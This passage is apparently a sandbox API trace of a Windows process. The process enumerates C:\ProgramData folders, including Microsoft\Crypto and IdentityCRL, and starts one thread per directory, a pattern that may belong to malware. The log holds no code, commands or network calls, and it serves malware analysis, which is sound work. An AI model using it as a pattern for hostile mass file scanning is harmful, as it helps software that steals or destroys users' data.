ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARM", cAlternateFileName="")) returned 0 [0085.785] FindClose (in: hFindFile=0x1b7ceac0 | out: hFindFile=0x1b7ceac0) returned 1 [0085.785] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82f1d0) returned 1 [0085.785] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d7f40) returned 1 [0085.785] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d7ec0) returned 1 Thread: id = 121 os_tid = 0xad8 [0085.787] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x44) returned 0x1b82be00 [0085.787] wcscpy (in: _Dest=0x1b82be00, _Source="C:\\ProgramData\\Application Data" | out: _Dest="C:\\ProgramData\\Application Data") returned="C:\\ProgramData\\Application Data" [0085.787] wcscat (in: _Dest=0x1b82be00, _Source="\\" | out: _Dest="C:\\ProgramData\\Application Data\\") returned="C:\\ProgramData\\Application Data\\" [0085.787] wcscat (in: _Dest=0x1b82be00, _Source="*" | out: _Dest="C:\\ProgramData\\Application Data\\*") returned="C:\\ProgramData\\Application Data\\*" [0085.787] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1b82f1d0 [0085.787] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Application Data\\*", lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0085.788] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82f1d0) returned 1 [0085.788] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82be00) returned 1 [0085.788] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bea0) returned 1 Thread: id = 122 os_tid = 0x5f4 [0085.789] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x32) returned 0x1b7d7ec0 [0085.789] wcscpy (in: _Dest=0x1b7d7ec0, _Source="C:\\ProgramData\\Desktop" | out: _Dest="C:\\ProgramData\\Desktop") returned="C:\\ProgramData\\Desktop" [0085.789] wcscat (in: _Dest=0x1b7d7ec0, _Source="\\" | out: _Dest="C:\\ProgramData\\Desktop\\") returned="C:\\ProgramData\\Desktop\\" [0085.789] wcscat (in: _Dest=0x1b7d7ec0, _Source="*" | out: _Dest="C:\\ProgramData\\Desktop\\*") returned="C:\\ProgramData\\Desktop\\*" [0085.789] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1b82f1d0 [0085.790] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Desktop\\*", lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0085.790] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82f1d0) returned 1 [0085.790] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d7ec0) returned 1 [0085.790] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d7f00) returned 1 Thread: id = 123 os_tid = 0xb54 [0085.791] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x36) returned 0x1b7d7f00 [0085.791] wcscpy (in: _Dest=0x1b7d7f00, _Source="C:\\ProgramData\\Documents" | out: _Dest="C:\\ProgramData\\Documents") returned="C:\\ProgramData\\Documents" [0085.791] wcscat (in: _Dest=0x1b7d7f00, _Source="\\" | out: _Dest="C:\\ProgramData\\Documents\\") returned="C:\\ProgramData\\Documents\\" [0085.791] wcscat (in: _Dest=0x1b7d7f00, _Source="*" | out: _Dest="C:\\ProgramData\\Documents\\*") returned="C:\\ProgramData\\Documents\\*" [0085.792] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1b82f1d0 [0085.792] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Documents\\*", lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0085.792] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82f1d0) returned 1 [0085.792] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d7f00) returned 1 [0085.792] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d7f80) returned 1 Thread: id = 124 os_tid = 0xa08 [0085.794] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x36) returned 0x1b7d7f80 [0085.794] wcscpy (in: _Dest=0x1b7d7f80, _Source="C:\\ProgramData\\Favorites" | out: _Dest="C:\\ProgramData\\Favorites") returned="C:\\ProgramData\\Favorites" [0085.794] wcscat (in: _Dest=0x1b7d7f80, _Source="\\" | out: _Dest="C:\\ProgramData\\Favorites\\") returned="C:\\ProgramData\\Favorites\\" [0085.794] wcscat (in: _Dest=0x1b7d7f80, _Source="*" | out: _Dest="C:\\ProgramData\\Favorites\\*") returned="C:\\ProgramData\\Favorites\\*" [0085.794] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1b82f1d0 [0085.794] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Favorites\\*", lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0085.794] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82f1d0) returned 1 [0085.794] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d7f80) returned 1 [0085.794] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d7fc0) returned 1 Thread: id = 125 os_tid = 0xb50 [0085.799] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x36) returned 0x1b7d7fc0 [0085.800] wcscpy (in: _Dest=0x1b7d7fc0, _Source="C:\\ProgramData\\Microsoft" | out: _Dest="C:\\ProgramData\\Microsoft") returned="C:\\ProgramData\\Microsoft" [0085.800] wcscat (in: _Dest=0x1b7d7fc0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\") returned="C:\\ProgramData\\Microsoft\\" [0085.800] wcscat (in: _Dest=0x1b7d7fc0, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\*") returned="C:\\ProgramData\\Microsoft\\*" [0085.800] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1b82f1d0 [0085.800] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\*", lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80ac5760, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x80ac5760, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b7ceac0 [0085.800] wcscmp (_String1=".", _String2=".") returned 0 [0085.800] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80ac5760, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x80ac5760, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.800] wcscmp (_String1="..", _String2=".") returned 1 [0085.800] wcscmp (_String1="..", _String2="..") returned 0 [0085.800] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x3fc949a4, ftLastAccessTime.dwHighDateTime=0x1ca0445, ftLastWriteTime.dwLowDateTime=0x3fc949a4, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Assistance", cAlternateFileName="ASSIST~1")) returned 1 [0085.800] wcscmp (_String1="Assistance", _String2=".") returned 1 [0085.800] wcscmp (_String1="Assistance", _String2="..") returned 1 [0085.800] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x48) returned 0x1b82bea0 [0085.800] wcscpy (in: _Dest=0x1b82bea0, _Source="C:\\ProgramData\\Microsoft" | out: _Dest="C:\\ProgramData\\Microsoft") returned="C:\\ProgramData\\Microsoft" [0085.800] wcscat (in: _Dest=0x1b82bea0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\") returned="C:\\ProgramData\\Microsoft\\" [0085.800] wcscat (in: _Dest=0x1b82bea0, _Source="Assistance" | out: _Dest="C:\\ProgramData\\Microsoft\\Assistance") returned="C:\\ProgramData\\Microsoft\\Assistance" [0085.800] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b82bea0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4e4 [0085.801] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Crypto", cAlternateFileName="")) returned 1 [0085.801] wcscmp (_String1="Crypto", _String2=".") returned 1 [0085.801] wcscmp (_String1="Crypto", _String2="..") returned 1 [0085.801] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82be00 [0085.801] wcscpy (in: _Dest=0x1b82be00, _Source="C:\\ProgramData\\Microsoft" | out: _Dest="C:\\ProgramData\\Microsoft") returned="C:\\ProgramData\\Microsoft" [0085.801] wcscat (in: _Dest=0x1b82be00, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\") returned="C:\\ProgramData\\Microsoft\\" [0085.801] wcscat (in: _Dest=0x1b82be00, _Source="Crypto" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto") returned="C:\\ProgramData\\Microsoft\\Crypto" [0085.801] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b82be00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3dc [0085.802] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Device Stage", cAlternateFileName="DEVICE~1")) returned 1 [0085.802] wcscmp (_String1="Device Stage", _String2=".") returned 1 [0085.802] wcscmp (_String1="Device Stage", _String2="..") returned 1 [0085.802] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4c) returned 0x1b7cea60 [0085.802] wcscpy (in: _Dest=0x1b7cea60, _Source="C:\\ProgramData\\Microsoft" | out: _Dest="C:\\ProgramData\\Microsoft") returned="C:\\ProgramData\\Microsoft" [0085.802] wcscat (in: _Dest=0x1b7cea60, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\") returned="C:\\ProgramData\\Microsoft\\" [0085.802] wcscat (in: _Dest=0x1b7cea60, _Source="Device Stage" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage") returned="C:\\ProgramData\\Microsoft\\Device Stage" [0085.802] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7cea60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4e0 [0085.803] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd789d88f, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DeviceSync", cAlternateFileName="DEVICE~2")) returned 1 [0085.803] wcscmp (_String1="DeviceSync", _String2=".") returned 1 [0085.803] wcscmp (_String1="DeviceSync", _String2="..") returned 1 [0085.803] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x48) returned 0x1b82bdb0 [0085.803] wcscpy (in: _Dest=0x1b82bdb0, _Source="C:\\ProgramData\\Microsoft" | out: _Dest="C:\\ProgramData\\Microsoft") returned="C:\\ProgramData\\Microsoft" [0085.803] wcscat (in: _Dest=0x1b82bdb0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\") returned="C:\\ProgramData\\Microsoft\\" [0085.803] wcscat (in: _Dest=0x1b82bdb0, _Source="DeviceSync" | out: _Dest="C:\\ProgramData\\Microsoft\\DeviceSync") returned="C:\\ProgramData\\Microsoft\\DeviceSync" [0085.803] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b82bdb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x568 [0085.803] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd98f9f8, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DRM", cAlternateFileName="")) returned 1 [0085.803] wcscmp (_String1="DRM", _String2=".") returned 1 [0085.803] wcscmp (_String1="DRM", _String2="..") returned 1 [0085.803] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3a) returned 0x1b82bd10 [0085.803] wcscpy (in: _Dest=0x1b82bd10, _Source="C:\\ProgramData\\Microsoft" | out: _Dest="C:\\ProgramData\\Microsoft") returned="C:\\ProgramData\\Microsoft" [0085.803] wcscat (in: _Dest=0x1b82bd10, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\") returned="C:\\ProgramData\\Microsoft\\" [0085.804] wcscat (in: _Dest=0x1b82bd10, _Source="DRM" | out: _Dest="C:\\ProgramData\\Microsoft\\DRM") returned="C:\\ProgramData\\Microsoft\\DRM" [0085.804] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b82bd10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x56c [0085.804] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9182055d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eHome", cAlternateFileName="")) returned 1 [0085.804] wcscmp (_String1="eHome", _String2=".") returned 1 [0085.804] wcscmp (_String1="eHome", _String2="..") returned 1 [0085.804] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3e) returned 0x1b82bcc0 [0085.804] wcscpy (in: _Dest=0x1b82bcc0, _Source="C:\\ProgramData\\Microsoft" | out: _Dest="C:\\ProgramData\\Microsoft") returned="C:\\ProgramData\\Microsoft" [0085.804] wcscat (in: _Dest=0x1b82bcc0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\") returned="C:\\ProgramData\\Microsoft\\" [0085.804] wcscat (in: _Dest=0x1b82bcc0, _Source="eHome" | out: _Dest="C:\\ProgramData\\Microsoft\\eHome") returned="C:\\ProgramData\\Microsoft\\eHome" [0085.805] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b82bcc0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x570 [0085.805] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x3a6c7630, ftLastAccessTime.dwHighDateTime=0x1d3aaba, ftLastWriteTime.dwLowDateTime=0x3a6c7630, ftLastWriteTime.dwHighDateTime=0x1d3aaba, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Event Viewer", cAlternateFileName="EVENTV~1")) returned 1 [0085.805] wcscmp (_String1="Event Viewer", _String2=".") returned 1 [0085.805] wcscmp (_String1="Event Viewer", _String2="..") returned 1 [0085.805] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4c) returned 0x1b858610 [0085.805] wcscpy (in: _Dest=0x1b858610, _Source="C:\\ProgramData\\Microsoft" | out: _Dest="C:\\ProgramData\\Microsoft") returned="C:\\ProgramData\\Microsoft" [0085.805] wcscat (in: _Dest=0x1b858610, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\") returned="C:\\ProgramData\\Microsoft\\" [0085.805] wcscat (in: _Dest=0x1b858610, _Source="Event Viewer" | out: _Dest="C:\\ProgramData\\Microsoft\\Event Viewer") returned="C:\\ProgramData\\Microsoft\\Event Viewer" [0085.805] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b858610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x574 [0085.806] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9b5b52, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IdentityCRL", cAlternateFileName="IDENTI~1")) returned 1 [0085.806] wcscmp (_String1="IdentityCRL", _String2=".") returned 1 [0085.806] wcscmp (_String1="IdentityCRL", _String2="..") returned 1 [0085.806] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4a) returned 0x1b858670 [0085.806] wcscpy (in: _Dest=0x1b858670, _Source="C:\\ProgramData\\Microsoft" | out: _Dest="C:\\ProgramData\\Microsoft") returned="C:\\ProgramData\\Microsoft" [0085.806] wcscat (in: _Dest=0x1b858670, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\") returned="C:\\ProgramData\\Microsoft\\" [0085.807] wcscat (in: _Dest=0x1b858670, _Source="IdentityCRL" | out: _Dest="C:\\ProgramData\\Microsoft\\IdentityCRL") returned="C:\\ProgramData\\Microsoft\\IdentityCRL" [0085.807] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b858670, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x578 [0085.807] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ee349fc, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3ee349fc, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3ee349fc, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Media Player", cAlternateFileName="MEDIAP~1")) returned 1 [0085.807] wcscmp (_String1="Media Player", _String2=".") returned 1 [0085.807] wcscmp (_String1="Media Player", _String2="..") returned 1 [0085.807] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4c) returned 0x1b8586d0 [0085.807] wcscpy (in: _Dest=0x1b8586d0, _Source="C:\\ProgramData\\Microsoft" | out: _Dest="C:\\ProgramData\\Microsoft") returned="C:\\ProgramData\\Microsoft" [0085.807] wcscat (in: _Dest=0x1b8586d0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\") returned="C:\\ProgramData\\Microsoft\\" [0085.807] wcscat (in: _Dest=0x1b8586d0, _Source="Media Player" | out: _Dest="C:\\ProgramData\\Microsoft\\Media Player") returned="C:\\ProgramData\\Microsoft\\Media Player" [0085.807] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8586d0) returned 1 [0085.807] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80340916, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80340916, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MF", cAlternateFileName="")) returned 1 [0085.807] wcscmp (_String1="MF", _String2=".") returned 1 [0085.808] wcscmp (_String1="MF", _String2="..") returned 1 [0085.808] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x38) returned 0x1b7d7f80 [0085.808] wcscpy (in: _Dest=0x1b7d7f80, _Source="C:\\ProgramData\\Microsoft" | out: _Dest="C:\\ProgramData\\Microsoft") returned="C:\\ProgramData\\Microsoft" [0085.808] wcscat (in: _Dest=0x1b7d7f80, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\") returned="C:\\ProgramData\\Microsoft\\" [0085.808] wcscat (in: _Dest=0x1b7d7f80, _Source="MF" | out: _Dest="C:\\ProgramData\\Microsoft\\MF") returned="C:\\ProgramData\\Microsoft\\MF" [0085.808] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7d7f80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x57c [0085.808] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50ea0e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50ea0e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSDN", cAlternateFileName="")) returned 1 [0085.808] wcscmp (_String1="MSDN", _String2=".") returned 1 [0085.809] wcscmp (_String1="MSDN", _String2="..") returned 1 [0085.809] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c) returned 0x1b82bc70 [0085.809] wcscpy (in: _Dest=0x1b82bc70, _Source="C:\\ProgramData\\Microsoft" | out: _Dest="C:\\ProgramData\\Microsoft") returned="C:\\ProgramData\\Microsoft" [0085.809] wcscat (in: _Dest=0x1b82bc70, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\") returned="C:\\ProgramData\\Microsoft\\" [0085.809] wcscat (in: _Dest=0x1b82bc70, _Source="MSDN" | out: _Dest="C:\\ProgramData\\Microsoft\\MSDN") returned="C:\\ProgramData\\Microsoft\\MSDN" [0085.809] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b82bc70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x580 [0085.809] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x56ac2f60, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x56ac2f60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x56ac2f60, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NetFramework", cAlternateFileName="NETFRA~1")) returned 1 [0085.809] wcscmp (_String1="NetFramework", _String2=".") returned 1 [0085.809] wcscmp (_String1="NetFramework", _String2="..") returned 1 [0085.809] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4c) returned 0x1b8586d0 [0085.809] wcscpy (in: _Dest=0x1b8586d0, _Source="C:\\ProgramData\\Microsoft" | out: _Dest="C:\\ProgramData\\Microsoft") returned="C:\\ProgramData\\Microsoft" [0085.809] wcscat (in: _Dest=0x1b8586d0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\") returned="C:\\ProgramData\\Microsoft\\" [0085.810] wcscat (in: _Dest=0x1b8586d0, _Source="NetFramework" | out: _Dest="C:\\ProgramData\\Microsoft\\NetFramework") returned="C:\\ProgramData\\Microsoft\\NetFramework" [0085.810] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b8586d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x584 [0085.810] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: 